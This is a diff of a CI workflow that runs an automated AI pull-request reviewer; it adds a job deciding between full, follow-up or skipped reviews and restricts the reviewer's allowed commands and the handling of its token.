+# review` sends no commit), so a review that runs while a push lands is stamped with the newer
+# head, and a follow-up that started there would skip commits nobody reviewed. A verdict posted
+# before the marker named a head has none, and its commit_id stands in. A marker's head is used
+# only when the verdict's commit_id is that head or comes after it (a compare says identical or
+# ahead). A head that is later than, diverged from or unknown beside the verdict's commit, or
+# one that cannot be compared, does not fit it. The commit_id cannot stand in for that head
+# either: it can name content that no review read (a force-push during the review, for one), so
+# no commit is known to be reviewed, and the next push gets a FULL review, whatever kind the
+# marker says.
+#
+# The review posts
 # comments for its findings and ends every run with ONE formal verdict review (the VERDICT
 # PROTOCOL in the prompt below): changes-requested when a finding is substantive, a comment
-# review otherwise. This workflow itself is still deliberately NOT a required status check --
-# enforcement lives in claude-review-guard.yml, whose verdict arm fails while the newest verdict
-# is changes-requested, so a substantive finding becomes a red check instead of a comment that
-# auto-merge outruns (the #3470-#3473 train shipped six findings in one night that way; one was
-# real). Since #3650 the job also fails ITSELF when the run submitted no verdict, with the cause in
-# its log and the transcript attached -- a green here means a verdict exists, and the guard is the
-# second line. It no-ops cleanly until the CLAUDE_CODE_OAUTH_TOKEN repo secret is set, and on fork
-# PRs (which do not receive secrets), so neither case shows a failed check.
+# review otherwise. The verdict's color lives in claude-review-guard.yml, not here: its verdict
+# arm fails while the newest verdict is changes-requested, so a substantive finding shows as a
+# failed check, which a branch rule can require, and not only as a comment (the #3470-#3473
+# train shipped six findings in one night as comments that auto-merge outran; one was
+# real). Since #3650 the job also fails ITSELF when the run submitted no verdict, with the cause and
+# the result block's counts in its log -- a green here means a verdict exists, and the guard is the
+# second line. The review keeps no transcript: the file the action writes stays on the runner, and
+# the log carries only that file's result fields, never its message text, even with debug logging
+# on (the review step pins ACTIONS_STEP_DEBUG to "false"). It no-ops cleanly until
+# the CLAUDE_CODE_OAUTH_TOKEN repo secret is set, and on fork PRs (which do not receive secrets),
+# so neither case shows a failed check.
 #
 # #3710: across several hundred PRs the verdict was LGTM on very nearly all of them, and every
 # defect it missed that later surfaced (#3487, #3612, #3613, #3636, #3648, the Full-edition
@@ -40,16 +90,300 @@ name: Claude Auto Review
 # accounting knows or cares which tier ran.
 on:
   pull_request:
-    types: [opened, synchronize, reopened]
-    branches: [dev, main]
+    # A draft gets no review: both jobs below skip while the pull request is a draft, and marking it
+    # ready for review starts one. `labeled` is here for the `re-review` label alone; the decide job
+    # skips every other label before a runner starts.
+    types: [opened, synchronize, reopened, ready_for_review, labeled]
+    # Pull requests into dev only. A release pull request into main is not reviewed again.
+    branches: [dev]
 
-# Cancel an in-flight review when new commits are pushed to the same PR.
-concurrency:
-  group: claude-review-${{ github.event.pull_request.number }}
-  cancel-in-progress: true
+# No workflow-level `concurrency`, on purpose. A group at this level is entered by EVERY run the
+# trigger above starts, including the ones that will skip, and with cancel-in-progress a skipping
+# run cancels the review it found running: a `labeled` event for an unrelated label (this
+# repository adds labels such as in-progress) would kill a paid review and then do nothing itself.
+# The group lives on the `review` job instead, which only exists once the decision says a review
+# is due. See there.
 
 jobs:
+  # THE ONE DECISION -- full, follow-up or skip -- is made here and nowhere else. The guard
+  # (claude-review-guard.yml) does not repeat it: it reads what this run did (the review job ran, or
+  # was skipped on purpose), and recomputing it there would be wrong anyway, because by the time the
+  # guard looks, the review this run posted has changed the very history the decision reads. The
+  # decision cannot move into a shared script, composite action or reusable workflow either:
+  # claude-code-action runs only while THIS file matches the default branch's copy byte for byte, and
+  # a file the pull request can edit would sit outside that check while steering the review job,
+  # whose Claude step uses the OAuth token. The decision is a step of this file for that reason.
+  decide:
+    # No runner for a draft, for a label other than re-review, or for a pull request carrying the
+    # `merge-train` label. A train member is marked ready and merged straight away, and the train run
+    # already covered it, so a review of the ready_for_review event would be paid for and never read.
+    # The label is read from the event payload, so it has to be on the pull request BEFORE it is marked
+    # ready. The script below repeats the first two rules in its first lines, so a dry run of it covers
+    # that part of the table; this line only saves the runner.
+    if: github.event.pull_request.draft == false && !contains(github.event.pull_request.labels.*.name, 'merge-train') && (github.event.action != 'labeled' || github.event.label.name == 're-review')
+    runs-on: ubuntu-latest
+    timeout-minutes: 5
+    permissions:
+      # The one read of this workflow's own runs, which a push after a follow-up makes. Without
+      # the scope that read is refused, and every such push would fall back to a full review.
+      actions: read
+      contents: read
+      pull-requests: read
+    env:
+      # This job reads no secret. The flag only lets the step guard below skip cleanly when the
+      # repository has no token (a fork pull request gets none either); the comparison is made
+      # here, so the token's value never enters this job's environment.
+      HAS_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN != '' }}
+    outputs:
+      pass: ${{ steps.pass.outputs.pass }}
+      base: ${{ steps.pass.outputs.base }}
+      # Set only for a follow-up, and only once the step has checked that `base` and `head` are both
+      # 40-character hex SHAs: the review job puts the two into its claude_args.
+      head: ${{ steps.pass.outputs.head }}
+    steps:
+      # Every input arrives through env:, never through a ${{ }} interpolation into the script text.
+      # `re-review` appears as a literal in four places in this file (the decide job's `if`, the
+      # HAS_LABEL expression below, the label-removal step, the RE_REVIEW value): rename it in all.
+      - name: Decide the review pass
+        id: pass
+        if: ${{ env.HAS_OAUTH_TOKEN == 'true' }}
+        env:
+          GH_TOKEN: ${{ github.token }}
+          R: ${{ github.repository }}
+          PR: ${{ github.event.pull_request.number }}
+          ACTION: ${{ github.event.action }}
+          LABEL: ${{ github.event.label.name }}
+          DRAFT: ${{ github.event.pull_request.draft }}
+          HEAD_SHA: ${{ github.event.pull_request.head.sha }}
+          # The branch the head came from and this run's id, for the one read of the workflow's runs.
+          HEAD_REF: ${{ github.event.pull_request.head.ref }}
+          RUN_ID: ${{ github.run_id }}
+          HAS_LABEL: ${{ contains(github.event.pull_request.labels.*.name, 're-review') }}
+          RE_REVIEW: re-review
+          # Author of every review the action leaves behind (the action's bot_name default).
+          REVIEW_BOT: claude[bot]
+        run: |
+          set -euo pipefail
+          summary() { echo "$*" >> "$GITHUB_STEP_SUMMARY"; }
+
+          # A read that fails must not turn into a SKIP: that is the direction that silently
+          # under-reviews. It turns into a FULL review with the cause in the log, the same
+          # fail-toward-thorough direction the tier step takes. The helper assigns to LOOKUP_OUT and
+          # LOOKUP_ERR instead of being command-substituted, so a failing gh call cannot kill the step
+          # under `set -e`, and stderr never lands in a value the callers compare.
+          LOOKUP_OUT=''; LOOKUP_ERR=''
+          lookup() {
+            local errfile
+            errfile=$(mktemp 2>/dev/null || echo /dev/null)
+            if ! LOOKUP_OUT=$(gh api "$@" 2>"$errfile"); then
+              LOOKUP_ERR=$(tr '\n' ' ' < "$errfile" 2>/dev/null || true)
+              LOOKUP_ERR=${LOOKUP_ERR:-$LOOKUP_OUT}
+              [ "$errfile" != /dev/null ] && rm -f "$errfile" || true
+              return 1
+            fi
+            [ "$errfile" != /dev/null ] && rm -f "$errfile" || true
+          }
+
+          pass=''; base=''; reason=''; marker_note=''
+          if [ "$DRAFT" = "true" ]; then
+            pass=skip; reason="the pull request is a draft"
+          elif [ "$ACTION" = "labeled" ] && [ "$LABEL" != "$RE_REVIEW" ]; then
+            pass=skip; reason="the label '$LABEL' asks for nothing"
+          elif [ "$ACTION" = "labeled" ]; then
+            pass=full; reason="the '$RE_REVIEW' label asks for a full review"
+          elif [ "$ACTION" != "synchronize" ]; then
+            # opened, reopened and ready_for_review, and anything the trigger list may grow.
+            pass=full; reason="the pull request was $ACTION"
+          elif [ "$HAS_LABEL" = "true" ]; then
+            # The label is a request that stays until a full review has answered it. A push that
+            # cancelled the requested review must not lose it, and a stuck label cannot be added again.
+            pass=full; reason="a push while the '$RE_REVIEW' label is still on the pull request"
+          else
+            # A push. Read the newest VERDICT by the review bot: a review with a body. The
+            # inline-comment tool files each comment inside a review of its own with an EMPTY body, in
+            # the same run and on the same commit as the verdict, so a run that died after posting
+            # comments but before its verdict left carriers and no verdict, and that is not a
+            # review of the pull request. The API returns reviews oldest-first and --paginate runs the
+            # --jq once per page, so the newest is the last LINE of the stream.
+            if ! lookup --paginate "repos/$R/pulls/$PR/reviews?per_page=100" \
+                --jq '.[] | select(.user.login == env.REVIEW_BOT and .submitted_at != null
+                                   and ((.body // "") | length) > 0)
+                      | "\(.id)\t\(.commit_id // "")"'; then
+              pass=full; reason="the reviews could not be read ($LOOKUP_ERR)"
+            else
+              newest=$(printf '%s\n' "$LOOKUP_OUT" | tail -n 1)
+              if [ -z "$newest" ]; then
+                # No verdict yet: its full review was cancelled or never ran.
+                pass=full; reason="$REVIEW_BOT has posted no verdict on this pull request yet"
+              else
+                IFS=$'\t' read -r last_id last_commit <<<"$newest"
+                if ! lookup "repos/$R/pulls/$PR/reviews/$last_id" --jq '.body // ""'; then
+                  pass=full; reason="the newest verdict could not be read ($LOOKUP_ERR)"
+                else
+                  # The kind the verdict marked itself with, and the head it reviewed. The LAST matching
+                  # line wins: the prompt puts it directly above the ledger at the end of the body. The
+                  # reviewed commit is the marker's head when it has one and the verdict's commit_id
+                  # fits it (below). GitHub stamps a review with the pull request's head at the moment
+                  # it is submitted, so a review that ran while a push landed carries a commit_id newer
+                  # than the head it read, and a follow-up that started there would skip commits nobody
+                  # reviewed. A verdict posted before the marker named a head has none, and its
+                  # commit_id stands in. A verdict with no marker at all (posted before the marker
+                  # existed) counts as full.
+                  #
+                  # The verdict check in the review job fails a run whose marker is wrong, but the
+                  # verdict stays on the pull request, so this step holds the marker's head against the
+                  # one thing it can read: the verdict's own commit_id. The head is used only when that
+                  # commit is the head or a descendant of it (compare says identical or ahead). A head
+                  # later than the verdict's commit (behind) would leave the commits between the two out
+                  # of every follow-up range, and one that diverged, is unknown to the repository, or
+                  # cannot be compared (the read failed) names no commit this verdict can vouch for. The
+                  # verdict's commit_id does not stand in for that head either: it can name content that
+                  # no review read (after a force-push during the review, for one), and a read that fails
+                  # is a full review. For each of those the reviewed commit is cleared, so the check
+                  # below gives a full review whatever kind the marker says, and its reason is the
+                  # marker note. A head equal to the commit_id needs no read, and a marker with no head
+                  # keeps the handling above.
+                  marker=$(printf '%s\n' "$LOOKUP_OUT" | tr -d '\r' \
+                    | grep -E '^<!-- review-pass: (full|follow-up)( head=[0-9a-f]{40})? -->[[:space:]]*$' | tail -n 1 || true)
+                  kind=''; reviewed=$last_commit
+                  marker_re='^<!-- review-pass: (full|follow-up)( head=([0-9a-f]{40}))? -->'
+                  if [[ "$marker" =~ $marker_re ]]; then
+                    kind=${BASH_REMATCH[1]}
+                    marker_head=${BASH_REMATCH[3]:-}
+                    if [ -z "$marker_head" ]; then
+                      : # no head in the marker: the commit_id stands in, and the kind is the marker's
+                    elif [ "$marker_head" = "$last_commit" ]; then
+                      reviewed=$marker_head
+                    elif [ -z "$last_commit" ]; then
+                      # Nothing to hold the head against. The reviewed commit stays empty, and the
+                      # check below answers with a full review.
+                      kind=full
+                    elif ! lookup "repos/$R/compare/$marker_head...$last_commit?per_page=1" --jq '.status'; then
+                      # The head cannot be held against the commit, so no commit is known to be reviewed.
+                      # The check below answers with a full review, and the note is its reason.
+                      kind=full; reviewed=''
+                      marker_note="the marker's head ${marker_head:0:12} cannot be compared with the verdict's commit ${last_commit:0:12} ($LOOKUP_ERR), so no reviewed commit is known and this push gets a full review"
+                    elif [ "$LOOKUP_OUT" = identical ] || [ "$LOOKUP_OUT" = ahead ]; then
+                      reviewed=$marker_head
+                    else
+                      # Later than the verdict's commit, or diverged from it: the same answer.
+                      kind=full; reviewed=''
+                      marker_note="the marker's head ${marker_head:0:12} is not an ancestor of the verdict's commit ${last_commit:0:12} (compare says $LOOKUP_OUT), so no reviewed commit is known and this push gets a full review"
+                    fi
+                  fi
+                  # The reviewed commit is compared with this head BEFORE the kind is looked at, so only a
+                  # head that is ahead of it is ever skipped or given a follow-up.
+                  if [ -z "$reviewed" ]; then
+                    # The verdict names no commit, or its marker's head does not fit the commit it names
+                    # (the marker note says so and is the reason). Either way no commit is known to be
+                    # reviewed, so there is nothing for a follow-up to start from.
+                    pass=full; reason="${marker_note:-the newest verdict names no commit}"
+                  elif ! lookup "repos/$R/compare/$reviewed...$HEAD_SHA?per_page=1" --jq '.status'; then
+                    # Unknown to the repository: a force-push dropped it.
+                    pass=full; reason="the last-reviewed commit ${reviewed:0:12} cannot be compared with this head ($LOOKUP_ERR)"
+                  elif [ "$LOOKUP_OUT" != "ahead" ]; then
+                    # diverged (a force-push or rebase), behind, or identical (a re-run on a head that
+                    # already has its verdict): not a range a follow-up can cover, and not one to skip
+                    # either, whatever kind the verdict is. A re-run of a review that failed its shape
+                    # check must produce a review, so identical is full.
+                    pass=full; reason="the last-reviewed commit ${reviewed:0:12} is not an ancestor of this head (compare says $LOOKUP_OUT)"
+                  elif [ "$kind" = follow-up ]; then
+                    # At most ONE follow-up after each full review, so this push gets no review, unless
+                    # another run of this workflow for this pull request has not finished. After a
+                    # follow-up only a full trigger (ready for review, reopened, the label) starts a
+                    # review, so that run may be a full review of an older head, and the verdict it posts
+                    # would have no check left to read it. This push's full review replaces it through
+                    # the concurrency group instead. A run is this pull request's when its list names the
+                    # number; a run with none listed (the field is empty once a pull request closes) counts
+                    # through the branch the query is limited to. This run is not counted. One page is
+                    # enough: a run that has not finished is among the newest. A second push seconds after
+                    # another sees that run too and gets a full review; that cost is accepted, so there is
+                    # no waiting. A read that fails is a full review, as above.
+                    if ! lookup -X GET "repos/$R/actions/workflows/claude-review.yml/runs" \
+                        -f event=pull_request -f branch="$HEAD_REF" -f per_page=50 \
+                        --jq '.workflow_runs[]
+                              | select(.status != "completed" and (.id | tostring) != env.RUN_ID
+                                       and (((.pull_requests // []) | length) == 0
+                                            or any((.pull_requests // [])[]; (.number | tostring) == env.PR)))
+                              | .status'; then
+                      pass=full; reason="the runs of this workflow could not be read ($LOOKUP_ERR)"
+                    elif [ -n "$LOOKUP_OUT" ]; then
+                      IFS= read -r run_status <<<"$LOOKUP_OUT"
+                      pass=full; reason="the newest verdict is already a follow-up, but another run of this workflow for this pull request has not finished ($run_status): it may be a full review of an older head, whose verdict would have no check left to read it, so this push gets a full review, which replaces it"
+                    else
+                      pass=skip; reason="the newest verdict is already a follow-up"
+                    fi
+                  else
+                    pass=follow-up; base=$reviewed
+                    reason="the newest verdict (${reviewed:0:12}) was a full review, so the commits since it get one follow-up"
+                  fi
+                fi
+              fi
+            fi
+          fi
+
+          # A push that a newer push has already replaced decides nothing. The newer push has a run of
+          # its own, and that run decides; a review job from this run could join the concurrency group
+          # after the newer one and cancel it. This is the step's last read, so the head it compares is
+          # as fresh as the step can get. Pushes only: a newer push may answer with no review, and the
+          # full review that opening, reopening, ready for review and the label asked for would be
+          # lost with it. A read that fails keeps the decision.
+          if [ "$ACTION" = "synchronize" ] && [ "$pass" != skip ]; then
+            sha_re='^[0-9a-f]{40}$'
+            if lookup "repos/$R/pulls/$PR" --jq '.head.sha'; then
+              if [[ "$LOOKUP_OUT" =~ $sha_re ]] && [ "$LOOKUP_OUT" != "$HEAD_SHA" ]; then
+                pass=skip; base=''
+                reason="a newer push replaced this head (${HEAD_SHA:0:12}), and the run for ${LOOKUP_OUT:0:12} decides"
+              fi
+            else
+              reason="$reason (the pull request's head could not be read again: $LOOKUP_ERR)"
+            fi
+          fi
+
+          # The follow-up's two SHAs become the `git diff` forms the review job allows (its claude_args),
+          # so they are checked here, in the step that produces them: both must be full 40-character hex
+          # SHAs. The marker's head passed that test when it was read; the verdict's commit_id and this
+          # run's head are checked now. A value that fails makes this a full review, which takes no range
+          # and is allowed no `git diff`: the same fail-toward-thorough direction every read above takes.
+          head_sha=''
+          if [ "$pass" = follow-up ]; then
+            sha_re='^[0-9a-f]{40}$'
+            if [[ "$base" =~ $sha_re && "$HEAD_SHA" =~ $sha_re ]]; then
+              head_sha=$HEAD_SHA
+            else
+              reason="the follow-up range (${base:0:12}..${HEAD_SHA:0:12}) is not two 40-character hex SHAs, so this push gets a full review"
+              pass=full; base=''
+            fi
+          fi
+
+          echo "review pass: $pass -- $reason"
+          if [ "$pass" = skip ]; then
+            echo "::notice title=No review - skipped on purpose::$reason."
+          else
+            echo "::notice title=Review pass - $pass::$reason."
+          fi
+          summary "### Review pass: $pass"
+          summary "- $reason"
+          if [ "$pass" = follow-up ]; then summary "- covers \`${base:0:12}..${HEAD_SHA:0:12}\`"; fi
+          {
+            echo "pass=$pass"
+            echo "base=$base"
+            echo "head=$head_sha"
+          } >> "$GITHUB_OUTPUT"
+
   review:
+    needs: decide
+    # Only a full or a follow-up pass reviews. A skipped decide job (a draft, another label, no
+    # secret) leaves its outputs empty, so this job skips with it.
+    if: needs.decide.outputs.pass == 'full' || needs.decide.outputs.pass == 'follow-up'
+    # CONCURRENCY LIVES HERE, not on the workflow, so that only a run that reviews can cancel one:
+    # a push cancels the review of the commits it supersedes. The group is unique for any other
+    # pass, so even if a skipped job were to evaluate its group, it could not touch a running
+    # review. The unique suffix is `cond && value || ''`, never `cond && '' || value`: the empty
+    # string is falsy in an expression, and that form would hand every run the unique group.
+    concurrency:
+      group: claude-review-${{ github.event.pull_request.number }}${{ needs.decide.outputs.pass != 'full' && needs.decide.outputs.pass != 'follow-up' && format('-skip-{0}', github.run_id) || '' }}
+      cancel-in-progress: true
     runs-on: ubuntu-latest
     # Reviews are advisory and typically finish in minutes; a wedged run should release
     # its runner rather than sit on the default 6h timeout.
@@ -57,14 +391,34 @@ jobs:
     permissions:
       contents: read
       pull-requests: write
+      # The Claude step needs this scope. With no `github_token` input, claude-code-action asks the
+      # runner for this run's OIDC token and exchanges it for the app token the review posts with
+      # (claude[bot]); it stops when the token cannot be fetched (src/github/token.ts at v1).
+      # Permissions are set per job, not per step, and this is the only job that has the scope.
       id-token: write
     env:
-      # Mapped to env so the step guard below can skip cleanly when the secret is absent.
-      CLAUDE_CODE_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }}
+      # Only a flag reaches this job's environment. The step guards below use it to skip cleanly when
+      # the repository has no token (a fork pull request gets none either), and the comparison is
+      # made here, so the token's value is in no job-level environment. It reaches only the Claude
+      # step, through that step's `claude_code_oauth_token` input.
+      HAS_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN != '' }}
     steps:
+      # Both checkouts keep no credentials in .git/config (`persist-credentials: false`). Each fetches
+      # with its own token input, and every later step that talks to GitHub carries a token of its own.
       - uses: actions/checkout@v7
+        if: needs.decide.outputs.pass != 'follow-up'
         with:
           fetch-depth: 1
+          persist-credentials: false
+
+      # A follow-up diffs two commits and lists the ones between them, which a one-commit clone
+      # cannot do. The whole history of the merge ref (the PR head is its second parent) holds both.
+      - name: Check out the history a follow-up reads
+        uses: actions/checkout@v7
+        if: needs.decide.outputs.pass == 'follow-up'
+        with:
+          fetch-depth: 0
+          persist-credentials: false
 
       # #3650: the verdict check at the bottom counts the bot's formal reviews submitted AFTER this
       # instant, so a verdict left by an earlier run on the same PR cannot vouch for this one. Read
@@ -72,7 +426,7 @@ jobs:
       # ISO-8601 UTC shape (2026-09-18T22:00:00Z), so the comparison below is a plain string one.
       - name: Open the verdict window
         id: window
-        if: ${{ env.CLAUDE_CODE_OAUTH_TOKEN != '' }}
+        if: ${{ env.HAS_OAUTH_TOKEN == 'true' }}
         run: echo "start=$(date -u +%FT%TZ)" >> "$GITHUB_OUTPUT"
 
       # #3710: which tier reviews this PR. The FULL set is where the traps file's defects live --
@@ -95,9 +449,12 @@ jobs:
       # API 503 listing the PR's files) must not silently become the light tier -- that is the
       # direction that under-reviews a Storage change. It degrades to FULL, with a warning naming
       # why. `all` is the counter the decision notice reports against; it can only ever be true.
+      #
+      # Only a FULL pass classifies: a follow-up always runs the light tier's model and turns (see
+      # the tier step), because it reads a handful of new commits, not the pull request.
       - name: Classify the changed paths
         id: paths
-        if: ${{ env.CLAUDE_CODE_OAUTH_TOKEN != '' }}
+        if: ${{ env.HAS_OAUTH_TOKEN == 'true' && needs.decide.outputs.pass == 'full' }}
         continue-on-error: true
         uses: dorny/paths-filter@v4
         with:
@@ -135,8 +492,9 @@ jobs:
       # claude_args (#3710's ruling); the turn ceiling is the cost lever.
       - name: Decide the review tier
         id: tier
-        if: ${{ env.CLAUDE_CODE_OAUTH_TOKEN != '' }}
+        if: ${{ env.HAS_OAUTH_TOKEN == 'true' }}
         env:
+          PASS: ${{ needs.decide.outputs.pass }}
           PATHS_OUTCOME: ${{ steps.paths.outcome }}
           FULL: ${{ steps.paths.outputs.full }}
           FULL_COUNT: ${{ steps.paths.outputs.full_count }}
@@ -144,7 +502,12 @@ jobs:
           ALL_COUNT: ${{ steps.paths.outputs.all_count }}
         run: |
           set -euo pipefail
-          if [ "$PATHS_OUTCOME" != "success" ]; then
+          if [ "$PASS" = "follow-up" ]; then
+            # The paths step did not run (only a full pass classifies), so its outcome says nothing
+            # here. A follow-up reads a few new commits, and the cheap tier is what it is for.
+            echo "::notice title=Follow-up review::A follow-up pass always runs the light tier's model and turns."
+            tier=light
+          elif [ "$PATHS_OUTCOME" != "success" ]; then
             echo "::warning title=Path classification failed - reviewing at the full tier::The paths-filter"\
               "step ended '$PATHS_OUTCOME', so this PR's files could not be classified. The review runs"\
               "at the FULL tier rather than guess light: under-reviewing a Storage change is the"\
@@ -178,28 +541,60 @@ jobs:
       # thorough direction the tier step takes -- instead of handing Claude Code `--model ""`.
       - name: Claude review
         id: review
-        if: ${{ env.CLAUDE_CODE_OAUTH_TOKEN != '' }}
+        if: ${{ env.HAS_OAUTH_TOKEN == 'true' }}
         uses: anthropics/claude-code-action@v1
+        # The action prints every message, tool results included, when ACTIONS_STEP_DEBUG is "true"
+        # (base-action/src/parse-sdk-options.ts at v1). Pinned "false" here, the log keeps only the
+        # result fields even on a run with debug logging turned on. show_full_output is left at its
+        # default, "false".
+        env:
+          ACTIONS_STEP_DEBUG: 'false'
         with:
-          claude_code_oauth_token: ${{ env.CLAUDE_CODE_OAUTH_TOKEN }}
+          # The one place the token's value is read: no other step, and no job-level environment,
+          # holds it.
+          claude_code_oauth_token: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }}
           # The prompt interpolates the repo, the PR number, the tier and the model -- and NOT the
           # PR body or title. That is what makes the blind read blind: the body arrives only when
           # the reviewer runs `gh pr view` in Phase 2. Do not add the body here (#3710).
           prompt: |
             REPO: ${{ github.repository }}
             PR NUMBER: ${{ github.event.pull_request.number }}
+            REVIEW PASS: ${{ needs.decide.outputs.pass }}
             REVIEW TIER: ${{ steps.tier.outputs.tier || 'full' }}
             MODEL: ${{ steps.tier.outputs.model || 'claude-opus-5[1m]' }}
+            FOLLOW-UP RANGE: ${{ needs.decide.outputs.base && format('{0}..{1}', needs.decide.outputs.base, github.event.pull_request.head.sha) || 'none (this is a full review)' }}
 
             You are reviewing a pull request in a repository whose defects recur in known shapes and
             whose PR bodies are persuasive by design. The review runs in two phases, in this order,
             and the order is the point: you form your own account of the change BEFORE you read the
             author's, and the finding is where the two diverge.
 
-            PHASE 1 — BLIND READ. Do NOT run `gh pr view`, `git log` or `git show <commit>` in this
-            phase: the PR body and the commit messages are the author's account, and you must form
-            your own first. Allowed here: `gh pr diff ${{ github.event.pull_request.number }}` (and
-            `--name-only`), Read, Grep, Glob, `git diff`. The PR branch is already checked out.
+            FOLLOW-UP PASS. This paragraph applies ONLY when REVIEW PASS above is `follow-up`; on a
+            `full` pass skip it entirely. An earlier review already covered every commit up to the
+            first SHA on the FOLLOW-UP RANGE line (BASE..HEAD, both full SHAs). The commits in that
+            range are your ENTIRE scope: `git diff BASE HEAD` is the change (for one file's part of
+            it, `git diff BASE HEAD -- <path>`; those two forms, with both SHAs written out in full
+            and nothing else before the `--`, are the only `git diff` this run may use) and
+            `gh pr view ${{ github.event.pull_request.number }} --json commits` lists the pull request's
+            commits and their messages (find BASE in it by SHA; the commits after it are this range). The
+            checkout holds the whole history, but its own HEAD is a merge of the pull request into
+            its base branch, so always pass the two SHAs explicitly. Report defects in those
+            commits, or defects they expose in code that did not change. Do NOT review unchanged
+            code again. Do NOT repeat an earlier finding unless a new commit fails to fix it or makes
+            it worse. Do NOT re-grade the PR body's claims about earlier commits. If the range
+            includes a merge of the base branch, what that merge brought in is not the author's
+            change: leave it alone unless a new commit interacts with it. This paragraph REPLACES
+            PHASE 1 and PHASE 2 below: read the new diff and the files it changes in context, apply
+            the CALLERS RULE and the traps file to what the new commits changed, and run
+            `gh pr view ${{ github.event.pull_request.number }}` only for notes that explain them (and
+            `gh pr view ${{ github.event.pull_request.number }} --comments` for the earlier reviews).
+            Everything from POSTING on applies unchanged, and the verdict keeps the same shape, with
+            its sections scoped to the new commits.
+
+            PHASE 1 — BLIND READ. Do NOT run `gh pr view` in this phase: the PR body and the commit
+            messages are the author's account, and you must form your own first. Allowed here: `gh pr diff ${{ github.event.pull_request.number }}` (and
+            `--name-only`), Read, Grep, Glob. A full review runs no `git diff`: the checkout holds
+            one commit, and `gh pr diff` is the diff. The PR branch is already checked out.
               1. Read the diff, then open every changed file and read each changed region in its
                  surrounding context — the whole method, class member or SQL statement, not the
                  hunk.
@@ -225,7 +620,8 @@ jobs:
             explicitly unwanted.
 
             PHASE 2 — THE AUTHOR'S ACCOUNT. Now run `gh pr view ${{ github.event.pull_request.number }}`
-            for the title and body (and `git log` for the commit messages if you want them).
+            for the title and body (and `gh pr view ${{ github.event.pull_request.number }} --json commits`
+            for the commit messages if you want them).
             Extract every factual claim the body makes about the code — what changed, what did not,
             what was measured, what was tested, which test pins what — and grade each against what
             you found in Phase 1:
@@ -240,11 +636,20 @@ jobs:
             not assert what the body says it does. Divergence is the finding; agreement between the
             body and the diff is not evidence of correctness.
 
-            POSTING. Use `gh pr comment` for top-level notes and
+            POSTING. Use `gh pr comment ${{ github.event.pull_request.number }} --body-file - <<'EOF'` (the note, then a
+            line with EOF) for top-level notes and
             `mcp__github_inline_comment__create_inline_comment` (with confirmed: true) for
             line-level findings. Only post GitHub comments and reviews — do not emit review text
             as plain messages.
 
+            GH COMMANDS. Every `gh` command this run may use is one of these, exactly, where N is
+            ${{ github.event.pull_request.number }}: `gh pr diff N`, `gh pr diff N --name-only`, `gh pr view N`,
+            `gh pr view N --json commits`, `gh pr view N --comments`, and the three posts
+            `gh pr comment N --body-file -`, `gh pr review N --comment --body-file -` and
+            `gh pr review N --request-changes --body-file -`, each followed by a quoted heredoc
+            (`<<'EOF'`). Any other flag, a body given with `--body`, or an unquoted heredoc is
+            refused.
+
             VERDICT PROTOCOL — ALWAYS POST a verdict, in the STRUCTURED SHAPE below. After every
             comment is posted, end the review by submitting exactly ONE formal GitHub review whose
             body is the block below, filled in. A bare "LGTM" is not a verdict: the job checks the
@@ -269,8 +674,8 @@ jobs:
 
             THE REVIEW BODY, exactly this shape. The `## Verdict:` line is the first line; the
             `### ` headings are read by a machine and appear in this order; the ledger is the LAST
-            line and is ONE line. Replace every <...>; keep every heading even when its section is
-            empty, and say so under it.
+            line and is ONE line, and the review-pass line sits directly above it. Replace every
+            <...>; keep every heading even when its section is empty, and say so under it.
 
             ## Verdict: LGTM
             ### Claims
@@ -287,12 +692,18 @@ jobs:
             <where the two accounts disagree, or: None — the body's account matches the diff on every claim graded above.>
             ### Reviewer checklist
             - [ ] <what a human should check by hand that a read-only tree could not: a live read, a build, a rig, a production page>
+            <!-- review-pass: ${{ needs.decide.outputs.pass }} head=${{ github.event.pull_request.head.sha }} -->
             <!-- review-ledger: verdict=LGTM verified=<N> unverified=<N> refuted=<N> traps=<N> tier=${{ steps.tier.outputs.tier || 'full' }} model=${{ steps.tier.outputs.model || 'claude-opus-5[1m]' }} -->
 
             Ledger arithmetic: verified / unverified / refuted are the bullet counts under Claims
             in each state; traps is the bullet count under Traps near this diff; verdict matches
             the header (`LGTM`, or `CHANGES_REQUESTED` for a changes-requested review); tier and
-            model are the REVIEW TIER and MODEL lines at the top of this prompt, verbatim.
+            model are the REVIEW TIER and MODEL lines at the top of this prompt, verbatim. The
+            review-pass line is the REVIEW PASS value from the top of this prompt and the head SHA
+            this review started on, written exactly as the shape above writes it, `head=` included:
+            the next push reads it to decide what it gets, and a follow-up starts after that SHA,
+            so a wrong or missing one costs a review or hides one, and the verdict check fails the
+            job when the line differs.
           # #3650: the prompt above says the branch is checked out and asks for a correctness,
           # parity and security review -- an invitation to read code -- while the allowlist used to
           # permit only the four gh verbs and the inline-comment tool. Every Read, Grep, Glob and
@@ -303,27 +714,66 @@ jobs:
           # about thirteen runs, one night). Read-only tools are enough: the reviewer needs to open
           # the files the diff touches, find a symbol's other callers and read a parity twin, and
           # nothing about reviewing needs a write. Nothing here can edit, commit, push or post
-          # outside the gh verbs already listed; the git verbs are the read-only three.
+          # outside the gh forms listed (see the gh rules below); the one git verb is `git diff`, and
+          # it takes only a follow-up's range (see the git rules below).
           #
           # #3710 adds no tool. The callers rule is Grep; the traps file is Read; the blind read is
           # an ORDERING of the gh verbs already here, enforced by instruction and by the prompt
           # withholding the body. The structured verdict is posted through `gh pr review
-          # --body-file -` with a quoted heredoc -- the same `gh pr review` prefix the allowlist
-          # already matches, and no Write tool is needed to stage a body file. --model and
+          # --body-file -` with a quoted heredoc -- one of the exact `gh pr review` forms the
+          # allowlist grants, and no Write tool is needed to stage a body file. --model and
           # --max-turns are the tier's; both are plain claude_args per claude-code-action's
           # docs/configuration.md ("Custom Model", "Limiting Conversation Turns").
+          #
+          # The gh rules are exact commands with this pull request's number, the forms the prompt
+          # names: the diff, with or without --name-only; the view, its commits and its comments; and
+          # the three posts, which read their body from standard input (`--body-file -` with a quoted
+          # heredoc). A rule with no `*` matches only that command, so no other flag or argument
+          # reaches gh. The number is the event's own integer.
+          #
+          # The git rules take only the forms the review runs. A full review needs no `git diff` (it
+          # reads `gh pr diff` and works from a one-commit checkout), so it gets none. A follow-up gets
+          # two forms, with its range written into them by the expression in --allowedTools:
